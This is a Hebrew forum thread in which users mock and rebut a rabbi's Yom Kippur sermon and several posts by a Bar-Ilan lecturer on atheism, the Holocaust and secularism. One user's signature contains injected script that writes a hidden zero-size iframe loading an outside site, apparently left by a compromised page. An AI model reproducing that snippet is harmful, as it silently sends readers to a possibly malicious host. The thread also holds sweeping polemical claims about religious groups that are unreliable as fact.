בית פורומים עצור כאן חושבים

דרשנים, היזהרו בדרשותיכם

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-22/10/2016 19:38 לינק ישיר 
דרשנים, היזהרו בדרשותיכם

לאור חשיבות הנושא, אני הופך דיון באשכול הקישורים לאשכול בפני עצמו.

אפריםבן

קראתי את הדרשה שנשא הרב אבינדב אבוקרט לפני יום הכיפורים. לא יאמן איזה צמצום אופקים מגלה אותו רב ועוד בערב יום כיפור:    

   *על צמיג וצמיד - סיפור לפני נעילה* אבינדב אבוקרט, גבעת שמואל.

בשעה קדושה וטהורה זו, שבה השערים ננעלים והלבבות נפתחים, איני מבקש לדרוש. איני רוצה ללמוד אתכם פסוקים או לעיין עמכם בקטע תלמוד. אני רוצה לספר לכם מעשה של חולין שאירע עמי. את סליחתכם אני מבקש אבל חושבני, שאף על פי שסיפור זה הוא מעשה חולין, רוח של קודש יש בו.

לפני כחודשיים נולדה לנו בת. מוצאי שבת הייתה ושעת חצות הייתה ולידה קשה ולחוצה הייתה. אחרי שלוש שעות, יצאתי מבית החולים, מותיר מאחור את אשתי הישנה ובתי הקטנה. לחניון המרוחק הלכתי, שם המתינה לי מכוניתי שרכשתי שבוע לפני כן. התנעתי את המכונית, שעה רביעית אחרי חצות הוצגה בשעון הדיגיטלי ונסיעתי החלה, בעוד רבע שעה אגיע לביתי. אחרי עשר דקות, אולי פחות, אורות אדומים וצהובים החלו להבהב, צפצופים הפריעו את שקט הלילה הדומם. ציור של צמיג נדלק כסימן בלתי מוכר בלוח השעונים.

הדאגה בלבי מתחילה לפנות את רגשות השמחה, העייפות והבדידות ממלאים אותי בחרדה. הכול מתחיל לרוץ בראש, תוהה על העבר שמא קניתי רכב מקולקל, דואג על העתיד כיצד אתמרן מחר בין המוסך לבית החולים ומתלבט על ההווה שאיני יודע מה אעשה בו. הכביש שומם, השעה מאוחרת. אני לבד. אני יוצא מהמכונית, בוחן את הצמיגים ורואה שהם שלמים, מקווה שמתחת לנראה לעין לא מסתתרת בעיה חמורה. כמי שאין לו מה להפסיד אני ממשיך לנסוע לתחנת הדלק הסמוכה. שם מחכים לי שני בחורים ושולחן, עליו בקבוקי בירה ופלאפון עם מוזיקה רועשת, ספק אדישות ספק תימהון על פניהם כשהמכונית שלי גולשת מול עיניהם. השעה כבר כמעט חמש, המכונית חונה מול משאבת האוויר ואני רוכן מול הגלגלים. ידיי מתחילות להשחיר אט אט, מכנסיי מתאבקות באבק מהול בדלק וחולצתי מיוזעת מכעס. כעס על הגורל שזימן אותי למציאות האבסורדית הזו. בין הגלגל הראשון והשני אני מתלבט אם המתדלקים יודעים שלפני ארבע שעות הייתי בחדר לידה - במקום הכי נקי בעולם, בחוויה הכי טהורה בעולם, בשמחה הכי עצומה בעולם. בגלגל השלישי אני מוסיף לשאול אם הם יודעים שהפכתי שוב הלילה ל-'אבא', שאינני סתם בחור שהגיע מבילוי או פועל שבא מתורנות לילה משמימה. אני נזכר איך לפני כמה שעות היו ידיי שטופות בחומר חיטוי וגופי היה מולבש בחלוק סטרילי. בגלגל הרביעי, נזכרתי גם בו - בבורא עולם - ושאלתי - למה?. למה אני פה, בלכלוך ובזוהמה, בשעה שהיא לא יום ולא לילה, עם תקלה לא ברורה. למה כל זה קורה לי כאן ועכשיו?. כמה הייתי נותן להישאר שם, מול ילדתי הרכה, בעולם שכולו צח ונקי, זך וטהור. כמה הייתי נותן להיות זה שכל עובר אורח מברך אותו ברכת ''מזל טוב'', במקום להיות בתחנת דלק מוכתמת ונטושה. והאל, אולי כפריווילגיה השמורה לאבות טריים, ענה לי באשר אני שם. ***


לפני שאספר מה ענה לי הקב"ה, אני מבקש לעצור את הסיפור, לעצור ולהסביר שכולנו מרגישים עכשיו כמוני באותו לילה. כולנו כעת בחדר לידה - רופאים ומיילדות, עובדים סניטריים ואחיות רחמניות. לובשים לבן, נקיים וברים, זכים וטהורים. ידינו נקיות מכל חטא ועוון וגופנו טהור מכל פשע ורשע. מה אנו יולדים? אתם שואלים, ובכן, אנו יולדים את עצמנו. מחדש. עוד כמה דקות, נאמר בברכת הלבנה 'לֵב טָהוֹר בְּרָא לִי אֱלֹהִים וְרוּחַ נָכוֹן חַדֵּשׁ בְּקִרְבִּי'. לב חדש יוולד בתוכנו, נפשנו תגיח שוב אל עולם המעשה - טהורה ונקיה כתינוק ביום היוולדו. כשנצא מבית הכנסת - חדר הלידה שבו שהינו ביממה האחרונה, לבושים בלבן כחלוקי מנתחים, נאמר את ברכת ה'מזל טוב' על לידתו מחדש של עם ישראל - 'יָבֹאוּ וְיַגִּידוּ צִדְקָתוֹ לְעַם נוֹלָד כִּי עָשָׂה'. אבל, אחיי ואחיותיי, בעוד כמה שעות, אולי ימים ואולי שבועות, נמצא את עצמנו עם הברכיים על האדמה המאובקת, עם ידיים מפוחמות בגריז משומן, בבגדי חול מיוזעים. פתאום נראה שאנחנו מתעסקים במכונות, בברזל ופלסטיק, מוקפים באנשים ריקים, עם בקבוקים ריקים ומוזיקה ריקנית לא פחות. אז, כמותי באותו לילה, נשאל את עצמנו איך הגענו לשם? איך הידרדרנו מאיגרא רמא לבירא עמיקתא?. אולי גם נשאל - למה? למה שוב אנו מוצאים את עצמנו במקומות האפלים, החשוכים והשוממים האלה?. איך המרנו את הבגדים הטהורים, את הטלית המבהיקה בבגדים טמאים וחולצה מאובקת?

. *** אומר לכם, אחיי ורעיי - השאלה קשה, אבל אולי התשובה שענה האלוקים לי בשאלתי האישית תועיל גם לשאלתנו הכללית. בשעה שסגרתי את הפקק של הצמיג האחרון שמתי לב אליו - אל הצמיד. הצמיד שקיבלתי בסיום הלידה והוא מהודק לידי, צמידים זהים לו מהודקים באותה שעה על זרועותיהן של אשתי ושל בתי. צמיד שמעיד - אני אבא!. הבנתי שלא משנה מה אעשה ואיפה אהיה - הצמיד יזכיר לי ולכל הסובבים אותי מהיכן באתי - מחדר הלידה, מבית הכנסת, מהחלוק, מהטלית. לא זו בלבד לימדני הצמיד ההוא; הוא הזכיר לי, שאתו אני יכול להיכנס שוב אל הקודש, אל חדרי התינוקות ומחלקות היילודים. לא משנה מה אלבש, כמה מלוכלך אהיה, בכל עת שארצה, ללא שעות ביקור או אישורים מיוחדים - אוכל לחזור לשם. נכון, החיים הובילו אותי למקום מטונף בשולי תחנה נטושה אבל ברגע אחד אוכל לחזור לליבה של מחלקת תינוקות בוהקת. ***

כשסיימתי למלא אויר בצמיגים, פסקו הצפצופים וכבו המנורות. כנראה, שרק זו הייתה התקלה אני עונה לשאלתי המנקרת. המנורות ברכב כבו אבל אורה של השמש התחיל לעלות. עם אור השמש גם האיר אורה של התשובה והצמיד הלבן בידי הבהיק בצחותו. אני מאחל לנו, בשעה הזו, שבה בכיים של יהודים שנולדים מחדש ממלא את חלל העולם, שנזכה לעשות לנו צמידים, שנזכה לכתוב עליהם את שמותינו ומהותנו, את עצמנו. שנהדק אותם טוב לידינו. אנו מוכרחים לעשות זו "למען נחדל מעושק ידינו".

הקטעים ההזויים בפסט הזה הם רבים ולא אפרט את כולם אלא רק מקצתם. 

נתחיל בזה שהוא מתאר את הבעיה בצמיגים של מכוניתו  כאילו סוף העולם הגיע. כאילו אין תאונות דרכים קשות ה' ירחם,כאילו אין הרוגים  בדרך מחתונה או אחרי לידה. הוא מתלונן כמו ילד קטן ופונה לאל :אוי אוי איך אלוקים הבאת אותי מחדר לידה החדר הטהור (שבעצם יותר טמא ומזוהם יותר מכל מוסך) לתוך גרז' אוי אוי אוי.
אחר כך הוא מתאר את אנשי המוסך כאנשים ריקים וזה כבר הרבה מעבר לטיפשות ילדותית  בערב יום הכיפורים הוא מפגין  התנשאות על אנשים עמלים לפרנסתם שיתכן והם מלאים מצוות כרימון .מן הסתם התגייסו לצבא ותרמו יותר מכל לובשי החולצות הלבנות הטהורות והזכות כשלג.

והצמיד הטהור והלבן הזכיר לו שהוא אבא. מזל  שהוא השאיר את הצמיד ולא הוריד אותו  כמו שמורידים כולם מיד כשיוצאים מבית החולים . אחרת היה שוכח שהוא אבא.

בברכת צמידים צחורים כשלג סיים הרב המגיד את דרשתו .

ועל זה הוא קיבל  בפ"ב יותר ממאה לייקים.






דווח על תוכן פוגעני

מנותק
נשלח ב-7/7/2019 15:26 לינק ישיר 
אפרים בן

אפריםבן כתב:
 

הרי ברור שסיפור לא אינפנטילי היה מסתיים בנוקאאוט מהיר הרבה יותר:


פעם התגלה ה' לאתאיסט אחד ואמר לו: עבוד אותי.
אמר האתאיסט: רוץ להתאשפז או שאני אזמין בשבילך אמבולנס.

אם לזה את קוראת 'סיפור לא אינפנטילי' לא רוצה לחשוב איך נראית האינפנטיליות האמיתית שלך....




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2019 15:05 לינק ישיר 

על פנינת התבונה הבאה קיבל מיודענו הד"ר רט מבר אילן למעלה ממאתיים לייקים מה שמוכיח שוב שההמון יקנה כל שטות .

"פעם התגלה ה' לאתאיסט אחד ואמר לו: עבוד אותי.
אמר האתאיסט: לעולם לא.
אמר ה': למה לא?
אמר האתאיסט: אני עושה רק מה שנראה לי טוב והגיוני.
אמר ה': אם כך, טוב והגיוני לך לעבוד אותי, שאם תעשה זאת אגמול לך שכר בגן עדן, ואם לא כן אעניש אותך בגיהנום.
אמר האתאיסט: מוטב לי להתייסר בגיהנום ולא לשעבד את עצמי ולציית לעריץ אכזר.
אמר ה': אתה מאמין בערכים כה מוחלטים, שאתה מוכן למסור את נפשך לגיהנום בעבורם - ואתה עוד קורא לעצמך אתאיסט?"


בסיפור האינפנטילי הזה משה רט שם בפי האתאיסט תשובות מטומטמות  ואז יוצא שהאל הוא שיא התבונה שמנצח בקלות את האתאיסט בנוקאאוט.


הרי ברור שסיפור לא אינפנטילי היה מסתיים בנוקאאוט מהיר הרבה יותר:


פעם התגלה ה' לאתאיסט אחד ואמר לו: עבוד אותי.
אמר האתאיסט: רוץ להתאשפז או שאני אזמין בשבילך אמבולנס.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/8/2018 14:01 לינק ישיר 

באשכול אחר  ( כי תצא) הביא ספרן את דרשתו הרב יונתן זקס הנוגע לשאלה האם דתיים עוזרים יותר? (התשובה שלו:לא בטוח)



www.israelhayom.co.il/article/581831




מה שמדהים בדרשה הזאת שהרב זקס עוסק בזוטות ומתעלם מעובדות הרבה יותר כלליות ורציניות שמוכיחות שדת איננה ערובה למוסר. (ברוב המקרים העובדות מוכיחות ההפך.)

אתן רק שתי דוגמאות בולטות:
1.בארה"ב ,ארץ דתית ביותר ,סביר הרבה יותר להניח שבתוך הכנסיה ימצאו הרבה יותר פדופילים מאשר מחוצה לה.


2.בישראל ציבור ענק של אנשים מתעלם מהצרכים הביטחוניים של ישראל ומטעמים דתיים משתמט מלסייע  ונותן לאנשים אחרים למות במקומם.

בד"כ אותו ציבור מתנהג "בחסידות" יתרה רק עם חבריו . וכבר ידוע מדוע החסידה נחשבת לעוף טמא.. בדיוק בגלל זה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-18/4/2018 10:20 לינק ישיר 

אלתיאה שתקה לרגע. "בכל מקרה, ברור שאי אפשר לגלות להם את התשובה הזו"

מיימוני, בפירוש נאמר שהתשובה הזו היא  הסוד. (אלתיאה  אומרת "שאי אפשר לגלות להם את התשובה הזו" כלומר התשובה הזאת היא הסוד.)

וכל מה שכתבת בגלל אי ההבנה שלך את הפוסט על דואליזם, מאבק בין טוב לרע ,זרתוסתרא -זאת המצאה שלך. אם היית מביא הוכחה לדבריך  זה היה נשמע רציני יותר.




דדווח על תוכן פוגעני

מחובר
נשלח ב-18/4/2018 01:45 לינק ישיר 

אפרים

תודה על טרחתך.

לצערי לא הבנתי.

א. עדיין איני יודע מיהי אלתיאה שזכתה להופיע בויקיפדיה. זה הערך? רק לעשות חיפוש שם על השם הזה?

ב. במקום שכתבת שהוא מגלה את הסוד אזי אני לא הצלחתי לפענח. בעיני זה להפך. יש שם סוד שהוא לוחש לה, ואומר אבל הם מעדיפים פוזה מיוסרת. הם לא ירצו לשמוע את הסוד.

והסוד הוא...?

מתוך הסיפור ניתן לדייק, אם אפשר לדייק אצל מ. ר., שיש שם איזה שהוא סוד. איזה שהוא הסבר. ולפי מה שאני מכיר אותו ואת רעיונותיו, מסתבר שהוא דואליסט, מאמין במאבק בין טוב לרע, משהו קבליסטי דואליסטי שלמעשה כבר מופיע, עם פחות מורכבות בספירות, אצל זורואסטר ודרכו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-17/4/2018 13:32 לינק ישיר 

מיימוני, כנראה שלא הבנת שמשה רט מגלה את הסוד בתוך הפוסט עצמו.  הנה הציטוט מתוך הפוסט. (ההסברים שלי באותיות גדולות)





" ג'ק רכן לעבר אלתיאה ולחש באוזנה. עיניה התרחבו. "וואו, באמת?" אמרה. "זה נשמע הגיוני... אבל בחיים לא הייתי חושבת על זה".

כאן מתחיל הסוד (איש הקש)

"את מבינה", הוא אמר. "אפילו את לא היית חושבת על זה, אבל בני אדם חושבים שאם הם לא הצליחו למצוא הסבר הגיוני לשואה, אז זה מוכיח שאין אלוקים. יוהרה כה גדולה ביצורים כה קטנים".

הנה איש הקש. משה רט ממציא טענה שאיננה קימת אצל אנשים חושבים. אתאיסטים לא מחפשים בשואה הוכחה כל שהיא . השואה לא מוכיחה כלום לא למאמינים ולא לאתאיסטים. כפי שהסברתי בפוסט הקודם. ולכן אין כאן יוהרה של אנשים קטנים אלא טיפשות של משה רט וכל אלה שנותנים לו לייק.

אלתיאה שתקה לרגע. "בכל מקרה, ברור שאי אפשר לגלות להם את התשובה הזו", אמרה.

אם לא הבנת,מיימוני, פה הוא מגלה לה את הסוד (מה שנקרא סוד גלוי):


"ברור", אמר ג'ק. "ובינינו, הם גם לא באמת רוצים לדעת. הם מעדיפים את הפוזה המיוסרת של איוב המטיח דברים כלפי מעלה על פני קבלת תשובה הגיונית שתסתום להם את הפה".

הנה הסוד: פוזה מיוסרת של אתאיסטים. והשאלה שלי על איזה פוזה מיוסרת הוא מדבר? פוזה מיוסרת? מי מיוסר? האתאיסטים שמאמינים שמדובר בעצם בכוס התה של ראסל? או האתאיסטים שמאמינים באיטריה שמעופפת בין הגלקסיות? ברור שמי שלא מאמין לא מתיסר ביסורי שווא.


"אולי אתה צודק", נאנחה אלתיאה.


אלתיאה (בויקיפדיה היא מתוארת כעיוורת אבל לא כטיפשה )אכן צריכה להאנח בגלל  שמשה רט הופך אותה לנציגה  של הטיפשות שלו.



דדווח על תוכן פוגעני

מחובר
נשלח ב-17/4/2018 13:11 לינק ישיר 

מיימוני כתב:
אפרים בן

סבורני שהייתי מאבד הרבה מהעונג שיש בקריאת ראט אילולא היית טורח.

לצערי לא הבנתי כלום.

אם לא הבנת כלום על איזה עונג אתה מדבר?



מי הם ג'ק ואלתיאה? גיבורים של איזה קומיקס?

האם מיכאל הוא מלאך על בשמים של הטובים? האם אברקסס הוא אחד מן המלאכים המורדים או חבר במערכת גנוסטית של הרע נגד הטוב?

לשמחתי אין לי מושג  מן הסתם תוככל למצוא את התשובות בויקיפדיה. אבל הנושא הוא האתאיסטים והשואה ולא דמויות קומיקס.


מה הסוד שיכול להסביר הכל אבל אתאיסטים לא באמת רוצים לדעת?

את הסוד (איש הקש ) הוא מגלה בתוך הפוסט. ארחיב בהודעה הבאה  .



ותיקון טעות: נראה לי שהשואה היא בהחלט נימוק לטובת האתאיזם. אני מסכים שכל מקרה מוות וכל ייסורים הם חלק מבעית הרע, אבל השואה היתה מכה יותר מדי קשה. כמובן, כל קושיה צריך לעבד מבחינה פילוסופית.

אתה מוזמן לעבד מבחינה פילוסופית זה יכול להיות מעניין.

 השואה היא קיום הבטחה שכתובה בתורה. גם המבול בשעתו הרס את כל האנושות בגלל חטאים. לכן זאת שטות לטעון שלמאמינים יש בעיה רציונלית בנושא של השואה.  

אשר לויכוח עם איש קש, אני מסכים שראט לא תמיד טורח להציג בצורה הטובה ביותר את אנשי ריבו. אבל זה עדיין מהנה לקרוא ויכוח שבו מנצחים בקלות מי שחושב אחרת, הלא כן? רק צריך לא להתרגל להאמין שאלו תשובות טובות, כדבריך._________________



אין כאן שאלה של ניצחון ואין כאן שאלה   של הרגל ואין כאן שאלה של אמונה. יש כאן טענה שטותית של ראט שמתארכת לפוסט  שלם המלא בכשלי חשיבה. אם זה גורם לך לעונג שיהיה לך לבריאות.  . 


שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


















דדווח על תוכן פוגעני

מחובר
נשלח ב-17/4/2018 11:53 לינק ישיר 

השואה אינה מוכיחה כי אין אלוקים- להפך.
השואה מוכיחה כי רוב גדול של החרדים הם אתאיסטים ולא מאמינים באלוקים.



דדווח על תוכן פוגעני

מנותק
נשלח ב-17/4/2018 00:28 לינק ישיר 

אפרים בן

סבורני שהייתי מאבד הרבה מהעונג שיש בקריאת ראט אילולא היית טורח.

לצערי לא הבנתי כלום.

מי הם ג'ק ואלתיאה? גיבורים של איזה קומיקס?

האם מיכאל הוא מלאך על בשמים של הטובים? האם אברקסס הוא אחד מן המלאכים המורדים או חבר במערכת גנוסטית של הרע נגד הטוב?

מה הסוד שיכול להסביר הכל אבל אתאיסטים לא באמת רוצים לדעת?

ותיקון טעות: נראה לי שהשואה היא בהחלט נימוק לטובת האתאיזם. אני מסכים שכל מקרה מוות וכל ייסורים הם חלק מבעית הרע, אבל השואה היתה מכה יותר מדי קשה. כמובן, כל קושיה צריך לעבד מבחינה פילוסופית.

אשר לויכוח עם איש קש, אני מסכים שראט לא תמיד טורח להציג בצורה הטובה ביותר את אנשי ריבו. אבל זה עדיין מהנה לקרוא ויכוח שבו מנצחים בקלות מי שחושב אחרת, הלא כן? רק צריך לא להתרגל להאמין שאלו תשובות טובות, כדבריך.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-16/4/2018 17:10 לינק ישיר 

גם יום השואה סיפק למיודעינו הד"ר מבר אילן  הזדמנות פז לדרשנות מגוחכת כהרגלו בקודש (ובחול.)
הפעם הוא הכניס את הדרשה לפיהם של שתי דמויות בדיוניות שחביבות עליו שלקוחות מעולם סרטי האימה ,הבדיון והקומיקס (שהוא מרבה להתעסק בהם כפי שניתן ללמוד מהפוסטים שלו בפ"ב:)





 "נו, נגמר כבר חג האתאיסטים?" שאל ג'ק.
"אתה מתכוון ליום השואה?" שאלה אלתיאה.
"כן", אמר ג'ק. "היום בו האתאיסטים חוגגים סביב ההוכחה-כביכול לאמונתם. חשבת פעם כמה מעוות זה להחזיק באמונה שנזקקת לדברים כמו השואה כדי להצדיק את עצמה? מה היו עושים האתאיסטים בעולם שכולו טוב? היו צריכים להתאמץ ולמצוא בכוח איזשהו רע כדי לכפור באלוקים. עכשיו שקורים דברים כמו השואה, הם יכולים לנשום לרווחה".
"נראה לי שאתה הופך את סדר הדברים", אמרה אלתיאה. "אתה מתייחס לאתאיזם כאל אמונה בסיסית ואל השואה כהצדקה עבורה. אבל לפחות עבור חלק מהאתאיסטים, האתאיזם הוא פשוט המסקנה המתבקשת מהשואה: אם היו חיים בעולם שכולו טוב, הם באמת לא היו אתאיסטים".
"שטויות", אמר ג'ק. "למה שהשואה תוביל למסקנה של אתאיזם?"
"כי אנשים לא מבינים איך יתכן שאלוקים כל-יכול ייתן למיליוני אנשים למות כך".
"אם לא שמת לב, כל בני האדם מתים מתישהו. מה ההבדל בין ששת המיליונים לבין מיליארדי בני האדם שמתו מתחילת הבריאה? אילו הם לא היו נספים בשואה, הם היו חיים לנצח?"
"זו פחות שאלה על המוות", אמרה אלתיאה, "ויותר על הסבל שלהם ושל בני משפחותיהם. אנשים לא מבינים למה שאלוקים יגרום או יאפשר כל כך הרבה סבל".
"ברור שהם לא מבינים", אמר ג'ק. "הם בני אדם; למה הם מצפים בכלל להבין את דרכי האל?"
"לא רק בני אדם לא מבינים למה היתה שואה", אמרה אלתיאה ברוגזה קלה. "אפילו מיכאל לא יודע את ההסבר לכך".
"אני דווקא כן יודע".
"כן? איך בדיוק אתה יודע?"
"דיברתי עם אברקסס. הוא הסביר לי".
"אברקסס!" אמרה אלתיאה בהפתעה. "ומה הוא אמר לך?"
ג'ק רכן לעבר אלתיאה ולחש באוזנה. עיניה התרחבו. "וואו, באמת?" אמרה. "זה נשמע הגיוני... אבל בחיים לא הייתי חושבת על זה". "את מבינה", הוא אמר. "אפילו את לא היית חושבת על זה, אבל בני אדם חושבים שאם הם לא הצליחו למצוא הסבר הגיוני לשואה, אז זה מוכיח שאין אלוקים. יוהרה כה גדולה ביצורים כה קטנים".
אלתיאה שתקה לרגע. "בכל מקרה, ברור שאי אפשר לגלות להם את התשובה הזו", אמרה.
"ברור", אמר ג'ק. "ובינינו, הם גם לא באמת רוצים לדעת. הם מעדיפים את הפוזה המיוסרת של איוב המטיח דברים כלפי מעלה על פני קבלת תשובה הגיונית שתסתום להם את הפה". "אולי אתה צודק", נאנחה אלתיאה.
"בעניין אחר", אמר ג'ק. "שמעת שלירז נפטר?"
"כן, שמעתי".
"זו היתה הפתעה גמורה. הוא היה כל כך צעיר!", אמר ג'ק. "ג'ק", אמרה אלתיאה. "אכפת לך לפחות לנסות להסתיר את נימת הקנאה בקולך כשאתה מדבר על מקרים כאלה?"

#גק_ואלתיאה 









גם בפוסט הזה הד"ר מבר אילן משה רט ממציא איש קש ותוקף אותו בכלים כבדים כדי להוכיח את התיזה ההזויה שלו.
משה רט  יודע שאתאיסטים רציניים לא טוענים את הטענה הזאת בקשר לשואה.
הרי אין דבר יותר טיפשי מבחינה רציונלית לומר שהשואה מוכיחה שאין אלוהים. 

(אם יש אנשים שאכן איבדו את אמונתם בעקבות השואה זה קרה להם רק מסיבות רגשיות ולא מסיבות רציונליות.)


אבל זו דרכו של הד"ר מבר אילן להלחם באתאיסטים -הוא מעלה טענות ילדותיות כי הוא יודע שאת העוקבים הנאמנים שלו בפייסבוק  הוא יכול להאכיל כל דבר והם כמובן יתנו לו  לייק,  



(אגב,האמו"ר מליובביטש טוען כידוע,בצדק , שמבחינת  המאמינים לא תתכן שואה בלי אלוהים.)



דדווח על תוכן פוגעני

מחובר
נשלח ב-27/2/2018 15:23 לינק ישיר 

ומתי אם לא בערב תענית אסתר וחג פורים (לבכות או לצחוק ) מתאים להביא עוד הגיג שממחיש את חכמת הד"ר לפילוסופיה מבר אילן משה רט. (פ"ב)

"האט ער געזאגט

 נראה לי שמבין כל הפוביות של ימינו, החזקה ביותר היא האמירופוביה - הפחד מפני אמירות.

איזו היסטריה פורצת כל פעם שמישהו אומר משהו. שמעתם מה הרב ההוא אמר על נשים? ומה האומן ההוא אמר על מתנחלים? ומה הפרופסור ההוא אמר על חיילים? ומה המתנחלת ההיא אמרה על ערבים? שומו שמיים והתרועעי ארץ! ומכל אמירה עושים כותרות, ומחוללים סערות, ודנים ודשים ומפרשים, וכותבים מאמרי דעה בעד ונגד, ודורשים התנצלויות והבהרות, ועושים קמפיינים מתוקשרים וכן הלאה,
כאילו העובדה שמישהו אמר משהו פירושה שמחר בבוקר יפשטו קלגסים במדים על בתינו ויאכפו על כולנו את עמדותיו, אם לא נתעשת ונפעל מיידית.
צריך לזהות תהליכים, לא? נו בחייכם.
אפילו לאמירות של הקדוש ברוך הוא לא מתייחסים בכזו רצינות.
אני מציע לכולם לאמץ את משפט הקסם הבא, ובכל פעם שמישהו בא אליכם נסער ושואל ''שמעתם מה ההוא אמר???'', פשוט תחייכו ותפטירו: האט ער געזאגט - אז הוא אמר. עובד כמו קסם, והופך את החיים לרגועים ונעימים הרבה יותר, ללא אמירופוביה."

עד כאן הפוסט

בפוסט הזה משה רט בונה (,כמעט כרגיל אצלו , ) תיזה שקרית ומכביר עליה מילים ורוב המגיבים שלו כמובן לא מבחינים ובולעים את הטענות חסרות הבסיס שלו.

נדמה לי שהכשלים  ברורים אך אפרט בכל אופן.

ניקח דוגמה לאמירה מהזמן האחרון: הרב קלנר השמיע אמירות שמזלזלות בנשים. (כמובן שהוא מסתמך על הרב קוק )

האמירה שלו עוררה הדים רבים בכל אמצעי התקשורת.
האם ההדים הרבים האלה נאמרו מתוך פחד ? כמובן שלא. כלי התקשורת תקפו את הרב על אמירותיו השובניסטיות לא מתוך פחד אלא מתוך כעס או פליאה על ההתבטאויות .
חולני .ולכן כשקרא לזה ד"ר רט "אמירופוביה" זה מגוחך כי פוביה פרושה פחד חולני שאינו מוצדק מבחינה רציונאלית .  

אם נעזוב בצד את ה"אמירופוביה" המגוחכת הרי גם עצם הטיעון הוא טיפשי שהרי כבר נאמר: "מוות וחיים ביד הלשון"כלומר לאמירות יש חשיבות גדולה מאד כי לעיתים יש להן השלכות  מסוכנות. (במיוחד אמירות  מסיתות  שיכולות להשפיע על מעשים .ע"ע רצח רבין.)

לאיזה קטגוריה שייכות אמירותיו של הד"ר עצמו ?  עליו אכן ניתן לומר: האט ער געזאגט. 









תוקן על ידי אפריםבן ב- 27/02/2018 16:06:03




דדווח על תוכן פוגעני

מחובר
נשלח ב-10/10/2017 18:09 לינק ישיר 

הגיע הזמן לחזור ולטעום מחכמת ד"ר משה רט שמידי פעם שובר שיאים משעשעים


"כתבתי כבר על כך שלפי השוואת גילאים, החילוניות לעומת היהדות היא כמו בת שנתיים לעומת בת 33. המאבק נגד "הדתה" הוא בעצם המרד של גיל שנתיים האיום: התינוקת, שעד עכשיו התייחסה בהערכה לעולמם של הוריה (כבוד לתנ"ך, למורשת, לארון הספרים היהודי וכדו'), מחליטה שהיא רוצה להיות עצמאית, וצועקת "אני לבד!". די משעשע לראות אותה מנסה לבנות את עולמה בכוחות עצמה, מכניסה את שתי הרגליים לאותו מכנס ונתקעת עם הראש בתוך השרוול, כשהיא בטוחה שהנה היא עלתה על משהו חדש ונפלא שלא היה כמוהו. רק חבל על כל הנפילות והטעויות שהיא תעשה בדרך עד שתבין שבכל זאת יש קצת מה ללמוד מההורים הבוגרים בעלי הניסיון של 3300 שנה."


הוא רק שכח שאת אותם הדברים בדיוק הוא יכול היה לכתוב לאברהם אבינו שמרד בפסיליו העתיקים של אביו.

הנה כך זה יראה:

כתבתי כבר על כך שלפי השוואת גילאים, האברהמיות  לעומת האלילות  היא כמו בת שנתיים לעומת בת 33.
המאבק נגד  ההדתה הוא בעצם המרד של גיל שנתיים האיום: התינוק האברהמי , שעד עכשיו התייחס בהערכה לעולמם של הוריו (כבוד לפסל, למורשת, לארון הספרים האלילי וכדו'), מחליט שהוא רוצה להיות עצמאי, וצועק "אני לבד!". די משעשע לראות אותו מנסה לבנות את עולמו בכוחות עצמו, מכניס את שתי הרגליים לאותו מכנס ונתקע עם הראש בתוך השרוול, כשהוא בטוח שהנה הוא עלה על משהו חדש ונפלא שלא היה כמוהו. רק חבל על כל הנפילות והטעויות שהוא יעשה בדרך עד שיבין שבכל זאת יש קצת מה ללמוד מההורים הבוגרים בעלי הניסיון של יותר מ3300 שנה. "



באמת משעשע ,משה רט.






תוקן על ידי אפריםבן ב- 10/10/2017 18:10:57




דדווח על תוכן פוגעני

מחובר
נשלח ב-18/7/2017 17:36 לינק ישיר 

ספרן היקר

איקון ירוק על המקורות ויותר מזה על התזכורת לכתוב במתינות. וכבר אמרו: אל תאמר קבלו דעתי, שהן רשאין ולא אתה.

אך מה אעשה ובמקום שיש חילול השם אין חולקים כבוד לרב, ובמקום שיש עבודה זרה ודרישה אל המתים לא יהיה כך?

ועם כל זאת, אני מקבל את התוכחה. מקוה שאצליח גם לשמור על הכללים האלו.

אשר לרבי האחרון מחב"ד, אכן בעיני תמוה מאד מה שמסופר עליו שעשה. אבל זה לא מתחיל ממנו, אלא ממקובלים קודמיו שטענו שבביקור בקבר ניתן לעמוד בקשר עם המת. מעתה עלינו לשאול, אם אנו מאמינים שבאמת עברו המבקרים חוויה מסויימת, מה טיבה של אותה חוויה, מה היא כללה מבחינה פנומנולוגית, ואיך אפשר לבאר אותה. זה שהצדיק הנפטר מתגלה לצדיק המבקר זו אפשרות אחת, אבל עד כמה שאני מבין זו אפשרות שגויה.

לגבי המחלוקות בנושא, ובכן, זו לא הפעם הראשונה ובוודאי לא הפעם האחרונה שהנושא הזה יעלה כאן. ויפה ציינת לכמה וכמה מקורות ראשיים בתחום. חלק מן הדיון יוביל לשאלות על אמינות. האם הזוהר הוא מקור אמין לתיאוריות והלכות, למשל.

כל זה אומר שאם אני כותב נגד התופעה וממילא נגד אלו שנוהגים בדרישה אל הקברים, אין לי מה לפנות אלא אל הסוברים כמוני...

שהרי זה שיש פסוק וזה שיש הלכות לא יעכב את האפשרות לדרוש את כולם מחדש. ומי שהורגל בדרשנות זו וכזו, בעיניו זה הפשט וכל המשנה הוא מן המתמיהים או גרוע מזה.

***
אליקים

תודה, אבל יש לציין שספרן הוא ת"ח מפורסם...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2017 07:32 לינק ישיר 

אתם מוזמנים להתווכח איתי על כל פרט בעניין מה שכתבתי - רק שתדעו שהויכוח יכול להיות צורם מבחינת טלטלה לכל הנחת יסוד אפשרית (בערך)



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2017 07:27 לינק ישיר 

ולדעתי הדיון הזה אפילו לא היה צריך לעלות



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > דרשנים, היזהרו בדרשותיכם
